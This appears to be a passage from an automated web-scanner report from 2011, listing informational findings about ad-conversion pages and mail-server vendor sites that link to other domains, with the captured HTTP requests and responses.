<html><body bgcolor="#666666" link="#FFFFFF" alink="#FFFFFF" vlink="#FFFFFF" leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><center><font style="font-size:11px" face="arial,sans-serif" color="#FFFFFF">Google Site Stats - <a href="https://services.google.com/sitestats/en_US.html?cid=1036609180" target="_blank">learn more</a>
...[SNIP]...

15.68. http://www.googleadservices.com/pagead/conversion/1038104282/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/conversion/1038104282/

Issue detail

The page was loaded from a URL containing a query string:

http://www.googleadservices.com/pagead/conversion/1038104282/?random=1316207962157&cv=6&fst=1316207962157&num=1&fmt=2&value=0&label=whv2CLb_mgIQ2u2A7wM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=2&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//unite.opera.com/application/192/&url=http%3A//www.opera.com/%3Fref%3Dhome

The response contains the following link to another domain:

https://services.google.com/sitestats/en_US.html?cid=1038104282

Request

GET /pagead/conversion/1038104282/?random=1316207962157&cv=6&fst=1316207962157&num=1&fmt=2&value=0&label=whv2CLb_mgIQ2u2A7wM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=2&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//unite.opera.com/application/192/&url=http%3A//www.opera.com/%3Fref%3Dhome HTTP/1.1
Host: www.googleadservices.com
Proxy-Connection: keep-alive
Referer: http://www.opera.com/?ref=home
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: PREF=; Max-Age=0; Path=/; Version=1; Domain=.www.googleadservices.com
Date: Fri, 16 Sep 2011 16:18:37 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1038104282/?random=1316207962157&cv=6&fst=1316207962157&num=1&fmt=2&value=0&label=whv2CLb_mgIQ2u2A7wM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=2&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//unite.opera.com/application/192/&url=http%3A//www.opera.com/%3Fref%3Dhome&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=true
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 382
X-XSS-Protection: 1; mode=block

<html><body bgcolor="#ffffff" link="#000000" alink="#000000" vlink="#000000" leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><center><font style="font-size:11px" face="arial,sans
...[SNIP]...
<br><a href="https://services.google.com/sitestats/en_US.html?cid=1038104282" target="_blank">learn more</a>
...[SNIP]...

15.69. http://www.googleadservices.com/pagead/conversion/1071433059/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/conversion/1071433059/

Issue detail

The page was loaded from a URL containing a query string:

http://www.googleadservices.com/pagead/conversion/1071433059/?random=1316205016181&cv=6&fst=1316205016181&num=1&fmt=1&value=1200&label=6N1uCOmL7QEQ44rz_gM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=7&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.port25.com/products/prod_eval.html&url=http%3A//www.port25.com/products/prod_evalthanks.html

The response contains the following link to another domain:

https://services.google.com/sitestats/en_US.html?cid=1071433059

Request

GET /pagead/conversion/1071433059/?random=1316205016181&cv=6&fst=1316205016181&num=1&fmt=1&value=1200&label=6N1uCOmL7QEQ44rz_gM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=7&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.port25.com/products/prod_eval.html&url=http%3A//www.port25.com/products/prod_evalthanks.html HTTP/1.1
Host: www.googleadservices.com
Proxy-Connection: keep-alive
Referer: http://www.port25.com/products/prod_evalthanks.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Conversion=CnVDTi1fV29XcHpUdFMzSjZXemlBTHY0ZDMtRFBINGxfTUJrNXFrM3dxb3JOb09FQVFvQ0ZDTzc2X3BfX19fX184QllNa0dvQUhqaXZQLUE4Z0JBYW9FRjBfUWs1WjdxYTNJeDhIZU56TEkwZWotc1kwZ0F0N3ISEwi90Mr6iaKrAhUjgIMKHUYJZ9gYASCyuICCl-6xjH1IAQ

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: PREF=; Max-Age=0; Path=/; Version=1; Domain=.www.googleadservices.com
Date: Fri, 16 Sep 2011 15:29:41 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1071433059/?random=1316205016181&cv=6&fst=1316205016181&num=1&fmt=1&value=1200&label=6N1uCOmL7QEQ44rz_gM&bg=ffffff&hl=en&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=7&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.port25.com/products/prod_eval.html&url=http%3A//www.port25.com/products/prod_evalthanks.html&ctc_id=CAEVAQAAAB0BAAAA&ct_cookie_present=true
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 381
X-XSS-Protection: 1; mode=block

<html><body bgcolor="#ffffff" link="#000000" alink="#000000" vlink="#000000" leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><center><font style="font-size:11px" face="arial,sans-serif" color="#000000">Google Site Stats - <a href="https://services.google.com/sitestats/en_US.html?cid=1071433059" target="_blank">learn more</a>
...[SNIP]...

15.70. http://www.googleadservices.com/pagead/conversion/1072356810/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/conversion/1072356810/

Issue detail

The page was loaded from a URL containing a query string:

http://www.googleadservices.com/pagead/conversion/1072356810/?random=1316207703039&cv=6&fst=1316207703039&num=1&fmt=1&value=1&label=VwKaCN7ZUBDKu6v_Aw&bg=ffffff&hl=en&gl=US&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=6&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.altn.com/Downloads/&url=http%3A//www.altn.com/Downloads/FreeEvaluation/

The response contains the following link to another domain:

https://services.google.com/sitestats/en_US.html?cid=1072356810

Request

GET /pagead/conversion/1072356810/?random=1316207703039&cv=6&fst=1316207703039&num=1&fmt=1&value=1&label=VwKaCN7ZUBDKu6v_Aw&bg=ffffff&hl=en&gl=US&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=6&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.altn.com/Downloads/&url=http%3A//www.altn.com/Downloads/FreeEvaluation/ HTTP/1.1
Host: www.googleadservices.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Downloads/FreeEvaluation/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Conversion=CoEBQ2RSSzVuM1Z6VHNIcks0dkdzUUtJeHMyQkNmaVpsS0FDMlB6bmtBZV9rYkVPRUFjb0NGQ1FtZXlMLWZfX19fOEJZTWtHb0FIS3U2dl9BOGdCQWFvRUlFX1Fmd2c2eW5NSkF1dGNVZTRZa2lIVkJaOXRseXZTNmJmcWRvTDdDU2IzEhMI0L3-upSiqwIV5RlCCh0ufyqKGAEg34mEjJS9iPx8SAE

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: PREF=; Max-Age=0; Path=/; Version=1; Domain=.www.googleadservices.com
Date: Fri, 16 Sep 2011 16:14:17 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1072356810/?random=1316207703039&cv=6&fst=1316207703039&num=1&fmt=1&value=1&label=VwKaCN7ZUBDKu6v_Aw&bg=ffffff&hl=en&gl=US&guid=ON&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_his=6&u_tz=-300&u_java=true&u_nplug=20&u_nmime=100&ref=http%3A//www.altn.com/Downloads/&url=http%3A//www.altn.com/Downloads/FreeEvaluation/&ctc_id=CAEVAQAAAB0BAAAA&ct_cookie_present=true
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 381
X-XSS-Protection: 1; mode=block

<html><body bgcolor="#ffffff" link="#000000" alink="#000000" vlink="#000000" leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><center><font style="font-size:11px" face="arial,sans-serif" color="#000000">Google Site Stats - <a href="https://services.google.com/sitestats/en_US.html?cid=1072356810" target="_blank">learn more</a>
...[SNIP]...

15.71. http://www.imailserver.com/windows-email-server/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/windows-email-server/

Issue detail

The page was loaded from a URL containing a query string:

http://www.imailserver.com/windows-email-server/?k_id=imailserver_com_imail_internetmarketing_worldwide_googleadwords&gclid=cpnitvmjoqscfqhrgwodlzugzg

The response contains the following links to other domains:

http://feeds.feedburner.com/ImailServerBlog
http://forums.ipswitch.com/Forum10-1.aspx
http://image.providesupport.com/image/ipswitchimailserver.gif
http://ipswitchmsg.force.com/kb/
http://s7.addthis.com/js/250/addthis_widget.js
http://solariz.de/highslide-wordpress-reloaded
http://www.facebook.com/imailserver
http://www.ipswitch.com/copyright-trademark-notice/
http://www.linkedin.com/in/imailserver
http://www.providesupport.com/?monitor=ipswitchimailserver
http://www.twitter.com/imailserver
http://www.youtube.com/user/IMailServer
https://www.myipswitch.com/licensing/

Request

GET /windows-email-server/?k_id=imailserver_com_imail_internetmarketing_worldwide_googleadwords&gclid=cpnitvmjoqscfqhrgwodlzugzg HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 18997

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
<link href="/css/print.css?100521" rel="stylesheet" type="text/css" media="print" />
<link rel="alternate" type="application/rss+xml" title="Ipswitch IMail Server Blog Feed" href="http://feeds.feedburner.com/ImailServerBlog" /></head>
...[SNIP]...
<div id="top_cust"><a href="https://www.myipswitch.com/licensing/" target="_blank">Customer Login</a>
...[SNIP]...
<li id="menu-item-346" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-346"><a target="_blank" href="http://ipswitchmsg.force.com/kb/">Knowledgebase</a>
...[SNIP]...
<li id="menu-item-347" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-347"><a target="_blank" href="https://www.myipswitch.com/licensing/">MyIpswitch Login</a>
...[SNIP]...
</ul>
<a href="http://www.ipswitch.com/copyright-trademark-notice/" title="Copyright">Copyright © 1994-2011, Ipswitch, Inc.</a>
...[SNIP]...
<div id="bot_social">
<a href="http://forums.ipswitch.com/Forum10-1.aspx" target="_blank" class="forum" title="User Forums"></a>
<a href="http://www.twitter.com/imailserver" target="_blank" class="twitter" title="Twitter"></a>
<a href="http://www.facebook.com/imailserver" target="_blank" class="facebook" title="Facebook"></a>
<a href="http://www.youtube.com/user/IMailServer" target="_blank" class="youtube" title="YouTube"></a>
<a href="http://www.linkedin.com/in/imailserver" target="_blank" class="linkedin" title="LinkedIn"></a>
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736abb459699c9"></script>
...[SNIP]...
</div>
<a href="http://solariz.de/highslide-wordpress-reloaded" title="Highslide for Wordpress Plugin" style="display:none">Highslide for Wordpress Plugin</a>
...[SNIP]...
<div style="display:inline"><a href="http://www.providesupport.com?monitor=ipswitchimailserver"><img src="http://image.providesupport.com/image/ipswitchimailserver.gif" border="0"></a>
...[SNIP]...

15.72. http://www.jangosmtp.com/Free-Account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/Free-Account.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www.jangosmtp.com/Free-Account.asp?s=g&kw=SMTP%20server&gclid=CKGSi_aJoqsCFRdTgwod5zgZiw

The response contains the following links to other domains:

http://www.facebook.com/jangomail?sk=info
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1072582907/?label=Rd-NCKX8gAIQ-6G5_wM&guid=ON&script=0
http://www.jangomail.com/
http://www.twitter.com/JangoSMTP
http://www.youtube.com/jangosmtp
https://secure.adnxs.com/seg?add=157247&t=2
https://www.jangomail.com/et/a.z?UID=4302

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 10237
Content-Type: text/html
Set-Cookie: JangoMail=Word=SMTP+server&Search=g&Referrer=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF%2D8%26q%3Dsmtp%2Bserver; expires=Fri, 16-Dec-2011 16:26:44 GMT; path=/
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...
</a>
           <a href="http://www.twitter.com/JangoSMTP" rel="nofollow" target="_twitter"><img src="/images/twitter.png" border="0" /></a>
           <a href="http://www.facebook.com/jangomail?sk=info#!/pages/JangoSMTP/183157681700340" rel="nofollow" target="_facebook"><img src="/images/facebook.png" border="0" /></a>
           <a href="http://www.youtube.com/jangosmtp" rel="nofollow" target="_youtube"><img src="/common/images/youtube.png" border="0" />
...[SNIP]...
<br>

           <a href="http://www.jangomail.com">Need an email broadcast service? Use JangoMail for email marketing campaigns.</a>
...[SNIP]...


<img src="https://secure.adnxs.com/seg?add=157247&t=2" width="1" height="1" />


...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1072582907/?label=Rd-NCKX8gAIQ-6G5_wM&guid=ON&script=0"/>
</div>
</noscript>

<img src="https://www.jangomail.com/et/a.z?UID=4302">

<script type="text/javascript">
...[SNIP]...

15.73. https://www.jangosmtp.com/PasswordReset.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/PasswordReset.asp

Issue detail

The page was loaded from a URL containing a query string:

https://www.jangosmtp.com/PasswordReset.asp?status=BothBlank

The response contains the following links to other domains:

https://secure.adnxs.com/seg?add=157247&t=2
https://www.jangomail.com/et/a.z?UID=4302

Request

GET /PasswordReset.asp?status=BothBlank HTTP/1.1
Host: www.jangosmtp.com
Connection: keep-alive
Referer: https://www.jangosmtp.com/PasswordReset.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSCTSBTQQ=PLBPJOABDACEOGJJFNFHKHNJ; __utma=213119631.1093174196.1316204842.1316204842.1316204842.1; __utmb=213119631.5.10.1316204842; __utmc=213119631; __utmz=213119631.1316204842.1.1.utmgclid=CKGSi_aJoqsCFRdTgwod5zgZiw|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server; _chartbeat2=vs5g6yeo9lxk52er.1316204846394; ASPSESSIONIDSCTWBTQQ=DJNPJOABFNFKEADPKMALIIHA; JangoMail=Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g&Word=SMTP+server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7743
Content-Type: text/html
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...


<img src="https://secure.adnxs.com/seg?add=157247&t=2" width="1" height="1" />


...[SNIP]...
</noscript>

<img src="https://www.jangomail.com/et/a.z?UID=4302">

<script type="text/javascript">
...[SNIP]...

15.74. https://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/login.asp

Issue detail

The page was loaded from a URL containing a query string:

https://www.jangosmtp.com/login.asp?status=failed

The response contains the following links to other domains:

https://secure.adnxs.com/seg?add=157247&t=2
https://www.jangomail.com/et/a.z?UID=4302

Request

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:30:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 8884
Content-Type: text/html
Set-Cookie: JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g; expires=Fri, 16-Dec-2011 16:30:42 GMT; path=/
Cache-control: private

<!DOCTYPE html "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1
...[SNIP]...


<img src="https://secure.adnxs.com/seg?add=157247&t=2" width="1" height="1" />


...[SNIP]...
</noscript>

<img src="https://www.jangomail.com/et/a.z?UID=4302">

<script type="text/javascript">
...[SNIP]...

15.75. http://www.opera.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opera.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.opera.com/?ref=home

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://twitter.com/opera
http://www.facebook.com/Opera
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1038104282/?label=whv2CLb_mgIQ2u2A7wM&guid=ON&script=0
http://www.youtube.com/user/operasoftware
http://www.youtube.com/watch?v=CD0IwRSpMSs&width=800&height=480
http://www.youtube.com/watch?v=JuadsZwWBIg&width=800&height=480

Request

GET /?ref=home HTTP/1.1
Host: www.opera.com
Proxy-Connection: keep-alive
Referer: http://unite.opera.com/application/192/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:18:30 GMT
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 14761

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<hea
...[SNIP]...
<link rel="alternate" hreflang="th" href="./?language=th" title="........." /><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<div class="video section">
<a href="http://www.youtube.com/watch?v=JuadsZwWBIg&width=800&height=480" rel="prettyPhoto">Watch video</a>
...[SNIP]...
<div class="video section">
<a href="http://www.youtube.com/watch?v=CD0IwRSpMSs&width=800&height=480" rel="prettyPhoto">Watch video</a>
...[SNIP]...
<li><a id="opera-youtube" href="http://www.youtube.com/user/operasoftware"></a></li><li><a id="opera-facebook" href="http://www.facebook.com/Opera"></a></li><li><a id="opera-twitter" href="http://twitter.com/opera"></a>
...[SNIP]...
</script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"></script><noscript><img height="1" width="1" alt="" src="http://www.googleadservices.com/pagead/conversion/1038104282/?label=whv2CLb_mgIQ2u2A7wM&guid=ON&script=0" /></noscript>
...[SNIP]...

15.76. http://www.powermta.port25.com/smtp-server-software-2/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.powermta.port25.com
Path:	/smtp-server-software-2/

Issue detail

The page was loaded from a URL containing a query string:

http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A

The response contains the following links to other domains:

http://connect.facebook.net/en_US/all.js
http://platform.twitter.com/widgets.js
http://powermta1.com/wp-content/plugins/cforms/js/cforms.js
http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css
http://twitter.com/Port25Solutions
http://twitter.com/fletchster
http://twitter.com/tabsharani
http://www.emailexperience.org/
http://www.espcoalition.org/
http://www.facebook.com/pages/Port25-Solutions-Inc/40433056905
http://www.linkedin.com/groups?about=&gid=1886901&trk=anet_ug_grppro
http://www.maawg.org/
http://www.the-dma.org/
http://www.twitter.com/tabsharani

Request

GET /smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A HTTP/1.1
Host: www.powermta.port25.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:52 GMT
Server: Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Pingback: http://www.powermta.port25.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 26400

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtm
...[SNIP]...

<link rel="stylesheet" type="text/css" href="http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css" />
<script type="text/javascript" src="http://powermta1.com/wp-content/plugins/cforms/js/cforms.js"></script>
...[SNIP]...
<div style="position: absolute; left: 300px; top:0px; z-index: 2;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<br />
<a href="http://www.linkedin.com/groups?about=&gid=1886901&trk=anet_ug_grppro" title="linkedin" target="_blank"><img src="/wp-content/themes/powermta1/images/in-logo.gif" align="left" /></a>
<a href="http://www.twitter.com/tabsharani" title="twitter" target="_blank"><img src="/wp-content/themes/powermta1/images/twit-logo.gif" align="left" />
...[SNIP]...
</a>
<a href="http://www.facebook.com/pages/Port25-Solutions-Inc/40433056905" title="facebook" target="_blank"><img src="/wp-content/themes/powermta1/images/face-logo.gif" align="left" />
...[SNIP]...
<div style="margin-top: 5px;">
<a href="http://twitter.com/Port25Solutions" class="twitter-follow-button" data-show-count="true" data-button="grey" data-link-color="ffffff">Follow @Port25Solutions</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
</div>
<div>
<a href="http://twitter.com/tabsharani" class="twitter-follow-button" data-show-count="true" data-button="grey" data-link-color="ffffff">Follow @tabsharani</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
</div>
<div>
<a href="http://twitter.com/fletchster" class="twitter-follow-button" data-show-count="true" data-button="grey" data-link-color="ffffff">Follow @Pfletchster</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
<br />
<a href="http://www.the-dma.org" target="_blank">DMA</a><br />
<a href="http://www.emailexperience.org" target="_blank">EEC</a><br />
<a href="http://www.espcoalition.org" target="_blank">ESPC</a><br />
<a href="http://www.maawg.org" target="_blank">MAAWG</a>
...[SNIP]...

15.77. http://www.smtp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smtp.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.smtp.com/?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://twitter.com/smtpcom
http://www.linkedin.com/companies/446200

Request

GET /?gclid=CJWNm_2JoqsCFSg1gwodCS0_kQ HTTP/1.1
Host: www.smtp.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 15:27:03 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
ETag: "2da3e1aadc0e5e67fa3add3a4b2c60da"
X-Runtime: 2324
Set-Cookie: _global_session=BAh7BzoRaHR0cF9yZWZlcmVyIkhodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3NvdXJjZWlkPWNocm9tZSZpZT1VVEYtOCZxPXNtdHArc2VydmVyOg9zZXNzaW9uX2lkIiU4MjMyOWNjODZhNDNhYzBhOTM0NTM0NDczOGRiZjVlNQ%3D%3D--d77601bf4eb2e4d6e70d9401d391108ccdbc2dbd; path=/; HttpOnly
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 31056

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="Co
...[SNIP]...
<link href="/stylesheets/retail/main.css?1268498319" media="screen" rel="stylesheet" type="text/css" />

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<span class="right"><a href="http://twitter.com/smtpcom">Follow Us On Twitter</a>
...[SNIP]...
<span class="img_icon"><a href="http://twitter.com/smtpcom"><img src="/images/default/twitter_icon.gif" alt="" />
...[SNIP]...
<span class="right"><a href="http://www.linkedin.com/companies/446200 ">Connect With Us on Linkedin</a>
...[SNIP]...
